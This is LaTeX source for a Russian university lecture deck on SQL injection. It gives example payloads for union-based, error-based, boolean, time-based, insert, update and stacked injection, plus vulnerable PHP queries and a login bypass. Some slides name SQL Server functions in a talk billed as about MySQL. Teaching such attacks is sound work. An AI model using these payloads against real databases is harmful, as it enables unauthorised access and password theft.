\documentclass{beamer} \usepackage[T2A]{fontenc} \usepackage[utf8]{inputenc} \usepackage[english,russian]{babel} \usepackage{wrapfig} \usepackage{graphicx} \usepackage{multirow} \usepackage{fancyvrb} \usepackage{underscore} \graphicspath{ {./images/} } \usetheme{Madrid} \title{SQL инъекция в сервере MySQL} \author[Андрей, Роман, Иван, Ирина]{Андрей~Гущин \and Роман~Стаин \and Иван~Улитин \and Ирина~Зимина} \institute[СГУ]{Саратовский Государственный Университет} \date{6 марта 2023 г.} \begin{document} \maketitle \begin{frame}{Анализ БД через SQL инъекцию} \begin{minipage}[t]{0.48\linewidth} \begin{figure}[H] \includegraphics[width=\textwidth]{databases} \end{figure} \end{minipage} \hfill \begin{minipage}[t]{0.48\linewidth} \begin{figure}[H] \includegraphics[width=0.7\textwidth]{tables} \end{figure} \end{minipage} \end{frame} \begin{frame}{Анализ БД через SQL инъекцию} \begin{figure}[H] \includegraphics[width=\textwidth]{users} \end{figure} \end{frame} \begin{frame}{Функция SERVERPROPERTY} \begin{figure}[H] \includegraphics[width=\textwidth]{metadata_1} \end{figure} \end{frame} \begin{frame}{Функция DATABASEPROPERTYEX} \begin{figure}[H] \includegraphics[width=\textwidth]{metadata_2} \end{figure} \end{frame} \begin{frame}{Функции DB_NAME и DB_ID} \begin{figure}[H] \includegraphics[width=\textwidth]{metadata_3} \end{figure} \end{frame} \begin{frame}{Функции FILE_NAME, FILE_ID и FILE_IDEX} \begin{figure}[H] \includegraphics[width=\textwidth]{metadata_5} \end{figure} \end{frame} \begin{frame}{Функции SCHEMA_NAME и SCHEMA_ID} \begin{figure}[H] \includegraphics[width=\textwidth]{metadata_7} \end{figure} \end{frame} \begin{frame}{Функции SCHEMA_NAME и SCHEMA_ID} \begin{figure}[H] \includegraphics[width=\textwidth]{metadata_8} \end{figure} \end{frame} \begin{frame}{Функции OBJECT_NAME и OBJECT_ID} \begin{figure}[H] \includegraphics[width=\textwidth]{metadata_9} \end{figure} \end{frame} \begin{frame}{Функция STATS_DATE} \begin{figure}[H] \includegraphics[width=0.8\textwidth]{metadata_10} \end{figure} \end{frame} \begin{frame}{Функция STATS_DATE} \begin{figure}[H] \includegraphics[width=0.85\textwidth]{metadata_11} \end{figure} \end{frame} \begin{frame}[fragile]{Типы SQL запросов -- Union-based} \begin{block}{Запрос} \begin{Verbatim} SELECT name,email FROM users WHERE id=''; \end{Verbatim} \end{block} \pause \begin{block}{Инъекция} \begin{Verbatim} 1' UNION SELECT password,secret FROM users -- \end{Verbatim} \end{block} \pause \begin{block}{Запрос с инъекцией} \begin{Verbatim} SELECT name,email FROM users WHERE id='1' UNION SELECT password,secret FROM users -- '; \end{Verbatim} \end{block} \end{frame} \begin{frame}[fragile]{Типы SQL запросов -- Error-based} \begin{block}{Запрос} \begin{Verbatim} SELECT name,email FROM users WHERE id='1' and ExtractValue(rand(),concat(0x3a,version())) \end{Verbatim} \end{block} \end{frame} \begin{frame}[fragile]{Типы SQL запросов -- Boolean-based} \begin{block}{Запрос} \begin{Verbatim} SELECT email FROM users WHERE id=''; \end{Verbatim} \end{block} \pause \begin{block}{Инъекция} \begin{Verbatim} 1' and password LIKE 'a% \end{Verbatim} \end{block} \pause \begin{block}{Запрос с инъекцией} \begin{Verbatim} SELECT email FROM users WHERE id='1' and password LIKE 'a%'; \end{Verbatim} \end{block} \end{frame} \begin{frame}[fragile]{Типы SQL запросов -- Time-based} \begin{block}{Запрос} \begin{Verbatim} SELECT login FROM users WHERE id=''; \end{Verbatim} \end{block} \pause \begin{block}{Инъекция} \begin{Verbatim} 1' AND IF(MID(VERSION(),1,1) = '5', SLEEP(15), 0) \end{Verbatim} \end{block} \pause \begin{block}{Запрос с инъекцией} \begin{Verbatim} SELECT login FROM users WHERE id='1' AND IF(MID(VERSION(),1,1) = '5', SLEEP(15), 0)'; \end{Verbatim} \end{block} \end{frame} \begin{frame}[fragile]{Типы SQL запросов -- Insert} \begin{block}{Запрос} \begin{Verbatim} INSERT INTO users(email,login,password) VALUES('','',''); \end{Verbatim} \end{block} \pause \begin{block}{Инъекция} \begin{Verbatim} test1','1234'),('my@email.com',VERSION(),'1337') \end{Verbatim} \end{block} \pause \begin{block}{Запрос с инъекцией} \begin{Verbatim} INSERT INTO users(email,login,password) VALUES('...','test1','1234'), ('my@email.com',VERSION(),'1337') \end{Verbatim} \end{block} \end{frame} \begin{frame}[fragile]{Типы SQL запросов -- Update} \begin{block}{Запрос} \begin{Verbatim} UPDATE users SET about='about' WHERE id='1'; \end{Verbatim} \end{block} \pause \begin{block}{Инъекция} \begin{Verbatim} ', email=VERSION() WHERE id='1' \end{Verbatim} \end{block} \pause \begin{block}{Запрос с инъекцией} \begin{Verbatim} UPDATE users SET about='', email=VERSION() WHERE id='1' -- ' WHERE id='1'; \end{Verbatim} \end{block} \end{frame} \begin{frame}[fragile]{Типы SQL запросов -- Stacked} \begin{block}{Запрос} \begin{Verbatim} SELECT login FROM users WHERE id=''; \end{Verbatim} \end{block} \pause \begin{block}{Инъекция} \begin{Verbatim} 1'; SELECT password FROM users WHERE id='1 \end{Verbatim} \end{block} \pause \begin{block}{Запрос с инъекцией} \begin{Verbatim} SELECT login FROM users WHERE id='1'; SELECT password FROM users WHERE id='1'; \end{Verbatim} \end{block} \end{frame} \begin{frame}[fragile]{Инъекция в сложных запросах} На практике в конце SQL-запроса могут быть дополнительные условия, операторы сортировки, группировки и другие SQL-конструкции. В каждом конкретном случае, злоумышленник постарается встроить вредоносный кусок таким образом, чтобы запрос в целом остался синтаксически корректным, но выболнял другую функцию. \begin{block}{Уязвимый запрос с дополнительным условием} \begin{Verbatim} $sql = "SELECT username, realname FROM users WHERE cityid='" . $_GET['cityid'] . "' AND age<'35'"; \end{Verbatim} \end{block} \begin{block}{Итоговый запрос} \begin{Verbatim} SELECT username, realname FROM users WHERE cityid='20' UNION SELECT username, password AS realname FROM users WHERE 1 OR '1' AND age<'35'; \end{Verbatim} \end{block} \end{frame} \begin{frame}[fragile]{Результаты запроса не отображаются пользователю} Может оказаться, что уязвимым является запрос, результаты которого не отображаются пользователю. \begin{block}{Пример 1} \begin{Verbatim} $sql = "SELECT count(*) FROM users WHERE userid='" . $_GET['userid'] . "'"; \end{Verbatim} \end{block} \begin{block}{Пример 2} \begin{Verbatim} SELECT count(*) FROM users WHERE userid='2' AND password LIKE 'a%'; \end{Verbatim} \end{block} Взломщик получит "пользователь не найден", если пароль не начинается на букву 'a', или стандартную страницу с профилем пользователя, в противном случае. Перебором определяется первая буква пароля, затем вторая и.т.д. \end{frame} \begin{frame}[fragile]{Login Bypass Authentication} Это может быть использовано для того, чтобы заставить веб-сервер или любой другой интерфейс между пользователем и базой данных выполнить указания, которые необходимы взломщику. \begin{block}{Пример 1} \begin{Verbatim} SELECT id FROM users WHERE login='' AND password=''; \end{Verbatim} \end{block} \begin{block}{Пример 2} \begin{Verbatim} SELECT id FROM users WHERE login='1234\' AND password='UNION SELECT 1 -- '; \end{Verbatim} \end{block} \end{frame} \begin{frame}{Внимание! Анекдот.} \begin{figure}[H] \includegraphics[width=0.8\textwidth]{sql_joke} \end{figure} \end{frame} \begin{frame} \frametitle{Внимание!} \begin{center} {\Huge Спасибо за внимание!} \\ {\footnotesize Колоться "--- это незаконно и неэтично.} \end{center} \end{frame} \end{document}